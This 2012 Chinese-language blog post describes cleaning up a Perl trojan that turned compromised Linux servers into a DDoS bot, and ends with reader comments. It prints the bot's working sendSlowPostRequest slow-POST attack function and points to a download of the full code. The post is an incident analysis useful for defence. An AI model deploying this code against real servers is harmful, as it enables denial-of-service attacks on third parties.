每一個可以努力的日子,都是一份厚禮。
記一次運維,一個 Linux 木馬
上個月數據中心的多台服務器接連被人掛馬,又有客戶的網站被 DDOS,公司的運維整個都處於一種被打了雞血的亢奮狀態,連我手上的項目都被部門老大停了,調去幫運維。第一次見到 Linux 下面的木馬,突然想起來,還是值得記錄一下。
分析日誌發現 Attacker 應該是通過某種途徑獲得了客戶的後台密碼,然後利用控制面板的漏洞,上傳了壓縮包里的 falabiya.cgi 並運行。這樣會生成 .X11-unix 文件(其實就是 falabiya 那一段 base64_decode), .X11-unix即具體的後門程序。
信安專業的 Felix021 和芒果師兄都對這個案例表示出了興趣,於是我分別和他們分析了一下。這是一段 perl 腳本,寫得十分精妙。具體功能就是拿我們的服務器做肉雞,監聽端口獲取指令,向指定地址發送數據,從而實行 DDOS 攻擊。代碼內置了幾乎所有瀏覽器的 UA 字符串,每次都隨機抽取其中一個,偽裝為正常訪問。genGarbage、tcp flood、udp flood、slow get/post 等各種 DDOS 方式均有實現,特別是 sendSlowPostRequest 這個方法,實在太賤了,一點點地發,對方必須 hold 住資源等你發完。。短短數百行代碼,卻對各種錯誤異常處理得十分仔細,必然出自高人之手。注釋里有些不能識別的字符,也不知道是什麼編碼,無法推斷是哪個國家的黑客寫的。。
sub sendSlowPostRequest { my $host = $_[0]; my $port = $_[1]; my $path = $_[2]; my $contentLen = $_[3]; my $chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+|\=-~`1234567890"; print "start\n"; socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')); $iaddr = inet_aton($host); $paddr = sockaddr_in($port, $iaddr); connect(SOCK, $paddr); #send header send (SOCK, "POST ".$path." HTTP/1.1\r\n", 0); send (SOCK, "Host: $host\r\n", 0); send (SOCK, "User-Agent: $ua\r\n", 0); send (SOCK, "Content-type: application/x-www-form-urlencoded\r\n", 0); send (SOCK, "Content-length: $contentLen\r\n", 0); send (SOCK, "\r\n", 0); #send body for my $i (1..$contentLen){ my $symbol = substr $chars, int rand length($chars), 1; print "$symbol "; send (SOCK, $symbol, 0); sleep 3; } send (SOCK, "\r\n", 0); close(SOCK); print "end\n"; } |
後來我們清理掉了所有木馬,限制腳本運行,配置防火牆阻止向外發送異常數據。至於我們自己被 DDOS 攻擊,也是配防火牆搞定,那幾台設備好幾百萬,還是相當給力的。因為來自中國的攻擊很多,Boss 一直對內地黑客十分“敬仰”,要我介紹幾個給他認識。。其實我是了解國內那些所謂的“黑客”的,不得已只好把也是武大信安畢業後來去中科院的 LC 拉來……後來 Boss 還跑去北京找綠盟談過合作,據說他家要上市了。
代碼請猛戳這裡下載。有任何研究發現,歡迎分享。
推薦閱讀:深入淺出DDoS攻擊防禦
這篇文章由lovelucy於2012-04-22 16:04發表在信息安全。你可以訂閱RSS 2.0 也可以發表評論或引用到你的網站。除特殊說明外文章均為本人原創,並遵從署名-非商業性使用-相同方式共享創作協議,轉載或使用請註明作者和來源,尊重知識分享。 |
批評不自由
則讚美無意義
博主你好,我下載了你提供的代碼,運行了裡面的x11-unix,好像每次啟動機器,在/tmp/下都有X11打頭的文件夾?請問我該怎麼清除這個木馬呢?
❓ 你們居然沒有去檢查服務器是否被提權,被安裝rootkit了,真犀利。
這個當然查過,還有 Linux 的殺毒軟件全盤掃描
下載個試試
perl寫出來的代碼的確很精緻 😡
曾經誤用一有後門的winscp,導致自己vps被黑,但沒有重安裝系統,自己的機器就是用來玩的,被黑也是多少能學到一點東西,最多重要的資料多備份。哈哈。
哈,TCP慢速率攻擊,對付apache這種服務器效果可好啦。有時候被黑一下也挺好,起碼搞到了一坨代碼可以分析分析。
代碼里的注釋是俄文的。我一開始就想到的是俄文,俄羅斯是個黑客大國,俄國人的水平挺高的。想看注釋內容的話選對編碼,google翻譯一下,還是能看出一點意思的。
PS,一般被黑了,感覺最可搞得辦法還是把整個系統重裝一遍,如果替換了你的每個庫文件,還真是挺難找出來。
慢發可能是為了減少cpu佔用吧。這樣不容易被察覺到。